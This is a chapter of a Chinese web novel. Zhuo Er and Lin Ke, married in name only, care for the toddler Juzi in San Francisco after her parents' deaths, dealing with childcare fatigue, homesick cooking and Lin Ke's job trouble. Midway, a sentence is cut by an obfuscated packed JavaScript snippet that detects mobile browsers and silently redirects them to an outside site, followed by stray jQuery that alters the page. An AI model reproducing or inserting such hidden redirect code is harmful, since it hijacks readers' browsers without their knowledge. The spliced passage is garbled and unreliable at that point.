卓尔和橘子飞到旧金山的第一件事，就是帮林恪在他新租的公寓客厅里，拆大大小小十几个儿童商品。


    橘子懵懵的，对新环境没有任何概念，她觉得坐飞机坐得太久了，有点累，趴在林恪给她准备的斑马儿童沙发上，问以后是不是每天都可以见到叔叔。


    她还问他们，美国是不是离北京很近。因为姑姑去北京了，婆婆说北京离霓城挺远的，美国也挺远，那在她的理解里，美国说不定离北京很近。


    两个人轮流解答橘子的问题，脑回路跟着思维跳跃的幼崽转。看见叔叔拆出了很多给自己采购的玩具之后，橘子停住了小嘴，凑过去，搂着林恪的脖子亲了他一口。


    “乖宝贝，以后跟叔叔一起生活，叔叔来照顾你，好吗？”


    橘子点点头，又跑过去亲了卓尔一口，“还要小姨一起。”


    林恪已经在工作之余布置了很多，但家是刚搬的，又添了两口人，实在还有太多东西需要整理需要理顺。


    卓尔正好倒时差，一句没喊累地收拾到半夜。


    同样倒时差的橘子先到了临界点，凌晨两点多的时候一边揉眼睛一边习惯性地要找妈妈，卓尔学着卓红平时哄她的话术抱着她哄，没过多久，小崽子又哭着要找婆婆。


    最后卓尔和林恪一人守着小床的一边，不知道讲了多少故事，说了多少安慰的话，不到三岁的小宝贝才终于合上眼睛。


    天蒙蒙亮时，卓尔洗了澡，睡在了橘子旁边的床垫上。这间屋子还没有收拾好，但两人都精疲力尽。


    林恪说橘子刚来会不适应，卓尔一个人带橘子睡太辛苦，跟她商量，一人陪一个晚上。


    一开始的日子总是很难的，偶尔带娃和全天带娃的概念截然不同。人再年轻精力也是有限的，而最难的还不是照顾和陪伴一个连语言系统都不完善的baby，而是会非常不适应自身身份的转换。


    围绕着卓尔的再也不是写不完的工作计划和总结，更不是要复习考试担忧前途的焦虑。她甚至都没有多余的时间来思考如何应对这种不适应。她一刻不停地陪橘子看绘本、玩玩具、哄睡、冲牛奶、消毒玩具和奶瓶。


    当橘子睡着之后，她基本上也会处于宕机状态。


    这样的情况延续一周后，林恪申请了在家工作，开始分担带娃的重任。清洁方面的家务工作和教橘子英语成了他的工作重心。


    卓尔说不出口感谢，林恪也根本不给她这个机会。他们太熟，太明白对方是什么样的性格，合作共赢的概念也从一起赚钱那会儿就深入彼此的心。


    某一天，橘子吃完卓尔给她煎的蔬菜蛋饼后，竖起大拇指冒出一句“delicious”。林恪和卓尔互看一眼，不约而同地鼓起了掌。


    他们忽然意识到，当一个人的时间被琐碎的生活填满时，好像真的没有伤怀过去的精力了。他们的修复功能或许可以像三岁孩童的语言能力一样强大。


    橘子睡了，卓尔给她儿童房的里成人床上添了床被子。这几天旧金山温度骤降，今晚轮到林恪在这里陪孩子。


    “你累吗？”林恪时常问卓尔这句话。


    卓尔尚未解除她的麻木状态，觉得疲惫是一件好事。她是真心愿意照顾橘子。


    她摇头，又问林恪：“你的工作时间被压缩的越来越短了，真的不会耽误你的职场发展吗？”


    “还好。”


    “我听见你老板跟你打电话了。”具体说了什么她听不太懂，但语气和态度她能分明。他的老板对现阶段的他很不满意。


    她也听到了“little ones”这样的词汇，老板提醒他或许会为了这个突然出现的孩子而失去工作。


    林恪笑道：“行啊，听力进步这么大。”


    卓尔耸耸肩。


    林恪岔开话题道：“难得小崽子睡得早，我们一起看一部电影吧，好久没看过电影了。”


    新手“爸妈”合作带娃的时光手忙脚乱也充实，但几乎没有独处时间，也各自失去了开展个人兴趣和休闲放松的机会。


    好多次林恪看着卓尔给餐椅上的橘子擦手擦嘴，卓尔看着橘子被林恪带去公园看鸟看虫看石头，彼此都很难相信，他们怎么就以这样的一种方式被硬生生地绑定在一起。


    他们扮演着橘子“爸爸妈妈”的身份，他们是齐心协力的育儿搭子，他们拥有被法律保护的婚姻关系，可好像，不曾有任何时刻，他们眼里的对方是跟“伴侣”沾边的角色。


    他们是没有告过白、牵过手的另类夫妻。他们之间尚未发生爱情。


    卓尔声音懒懒的，“我现在更想躺着。”


    “那你躺吧，我可以帮你按摩一下。”


    “还是别了，你这双手还是留着去赶案子吧。”


    林恪强行把卓尔按在床上坐着，“给你捏捏肩，放心，我不捏你的小圆脸。”


    卓尔自己捏了捏脸上的肉，“怎么能一点也没瘦呢。”


    三岁小孩的饭量不大，可做饭总不能只做一点点，那剩下的儿童餐就得是他们俩消耗。小孩的清淡健康饮食吃多了，卓尔的胃酸胃痛有了很大改善。


    林恪想，只要她三餐合理营养均衡，不再在大半夜拼命往嘴里塞东西，那即便她保持这个体重也没关系。


    他说：“胖就胖吧，太辛苦了，多吃一点也正常。”


    卓尔本就不在乎自己的身材，手顺着腰往下，又摸了摸小肚子上的肉，最后视线停在林恪的身上。


    林恪：“看我干嘛，我都多久没运动了，腹肌都没了。”


    “可是你一点也不胖。是工作用脑过度消耗了吗？明明你吃的不比我少。”


    “你还挺关心我。”


    卓尔忽然叹了口气，“说的我都想吃我妈做的小馄饨了。”


    两人会做的种类真的不多，他们近期的饮食结构非常单一。林恪一个人生活的时候是不太在乎吃饭这件事的，只要有牛奶鸡蛋蔬菜和牛肉，就能满足他的胃。


    可是家庭生活是另一种状态，一日三餐会在无形中变成重心。


    卓尔会烧排骨和鸡腿，却从来不敢处理海鲜和鱼，林恪煎牛排拌沙拉的水平都不错，但也没有更多心思放在拓展菜品上。


    他们去过两回附近的中餐馆，每次卓尔都是抱着解乡愁的心态去犒赏自己的中国胃，但每次都带着不大也不小的失望回家。


    麻婆豆腐是不辣的，糖醋里脊用的是西式酱料，甜到让人发腻，就更不用提一些经典的中式小炒和面点。


    林恪问：“除了馄饨，你还想吃什么？”卓红的拿手绝活，他是真的没能力复刻。他敢保证，别说整个加州，就连整个美国都找不到那样的馄饨。


    卓尔退而求其次地说：“透油的肉包、盖小炒牛肉码的湖南米粉、桂花酒酿、蛋黄烧麦……肉包是透油的那种啊，不是中餐厅那种速冻小笼包，米粉不要速食的……”


    林恪一一记下了。如果实在做不到，那他们就去吃一顿四川火锅吧。


    “舒服吗？”闲聊中，他的手指还在卓尔的肩膀上服务。


    卓尔的注意力拉回来，说可以了。


    林恪坐在她身边，冷不丁地开口：“你有没有发现，我们俩睡的是一张床。”


    橘子房间里的这张床，他们俩轮流睡，一周换一次床单，另一个房间里的床也一样。


    卓尔不知道他想表达什么，说：“如果你有洁癖的话，我们自己睡自己的床单枕头和被子吧。”


    “你第一天认识我？”他喝过她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160531|180604||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喝不完的奶茶，吃过她碗里的馄饨，也曾在喝醉酒的晚上，和她一起留宿梁筱梦和周碧野新家的客厅。


    两位朋友离开后，他们是彼此在这个世界上最好的朋友。


    卓尔避开林恪的目光，以去洗澡为由离开了橘子的房间。走进浴室脱掉衣服后，她对着镜子看自己身上胖出来的肉，心安地想，这个家伙，是不会对现在的她有任何非分之想的。


    那他们住在一起就很安全。


    -


    人类幼崽的成长期总是在不经意间拉开新的序幕。到美国的第二个月，橘子在接触了新的事物和新的语言环境后，念叨旧回忆的频率越来越低。


    卓尔很羡慕幼崽的记忆功能，记忆力超强，但遗忘的也很快。她第一次意识到这个问题的时候，是橘子忘记了刚到两岁就会背的三字经前四句，她甚至问卓尔，三字经是什么东西。


    很长一段时间以来，卓尔都在强迫自己“去苦难化”地看待这个世界。她会在每一次想起梁筱梦和周碧野的时候逼迫自己关紧回忆的阀门。


    她也时常观察林恪，她发现这家伙绝对有做人类强者的潜质，因为他既拥有强大的共情能力，却同时拥有强大的消化能力。


    过去她从来没跟他深谈过他父亲的死亡，他们总是在一种互相陪伴又互相奚落的状态里，试图去了解对方。


    朋友们离开后，他们都是伤心者，扮演安慰者的人反倒是最有生活阅历的卓红。


    死亡在不知不觉中成为他们的禁忌话题，陪伴也在一日三餐中成了无形的救赎和安慰。


    卓尔还是很想她的小梦姐和小周哥，每一天都想。她很自私地在祈祷橘子不要长得越来越像他们俩，这样她就不会在橘子露出某一个跟他们相似的神态时，再一次听见心碎的声音。


    林恪以同样的心态剖析卓尔，他确定，卓尔是他遇到过的最强大也最柔软的女孩。他也会在心里隐隐期待，被他们长期宠爱的橘子会不会基因突变，变得更像他们俩，这样他的难过和想念就可以变得轻薄一点。


    忘了三字经的橘子在越洋视频里重新接受卓红女士的中式教育。她再次学会三字经的前八句和几首每个中国小孩都会的五言绝律。


    曾经读学前教育专业的卓尔被卓红痛批。卓红要求她不能只带橘子玩，也要适当地让橘子学一些传统文化，以免忘本。


    忘什么本？她们早晚有一天是要回去的。卓尔很不耐烦地看着视频里的卓红，突然发现她的眼角上多了一道皱纹。


    “妈，你那个肉馅的配方我怎么总是调不对啊。”话音落下，卓尔也不知道是哪根筋伤到了，鼻子堵了一下，发出半个哽咽的音色。


    卓红没看到她的脸，问她是不是感冒了。


    她说：“是的，你也注意身体。”


    逃离悲伤环境的另一个好处是，卓尔开始想妈妈了。林恪也没想到，距离产生美的俗世大道理有一天也会在这对母女俩身上体现。


    林恪做不出来卓尔想吃的馄饨，干脆研究起饺子来。做面食可以解乡愁，卓尔越来越喜欢闻生面的味道，后来橘子每周点菜都会点他们一起包的猪肉玉米虾仁饺。


    可是，能包好饺子的林恪，终于还是因为太多精力消耗在家庭生活里，被老板下了最后通牒。


    卓尔心想，完蛋了，顾此失彼因小失大了，他们最大的财路说不定马上就要断了。她从请林恪去工作到赶他去工作，把她财迷的那一套姿态摆出来，奉劝家里最大的财神继续在他热爱的事业上发光发热赚大钱。


    林恪觉得一个人带娃对来卓尔来说太不公平。两个人开诚布公地交流后，决定效仿邻居一家，给已经到适学年龄的家中幼崽请一位双语家庭教师，作为她上社区幼儿园之前的过渡。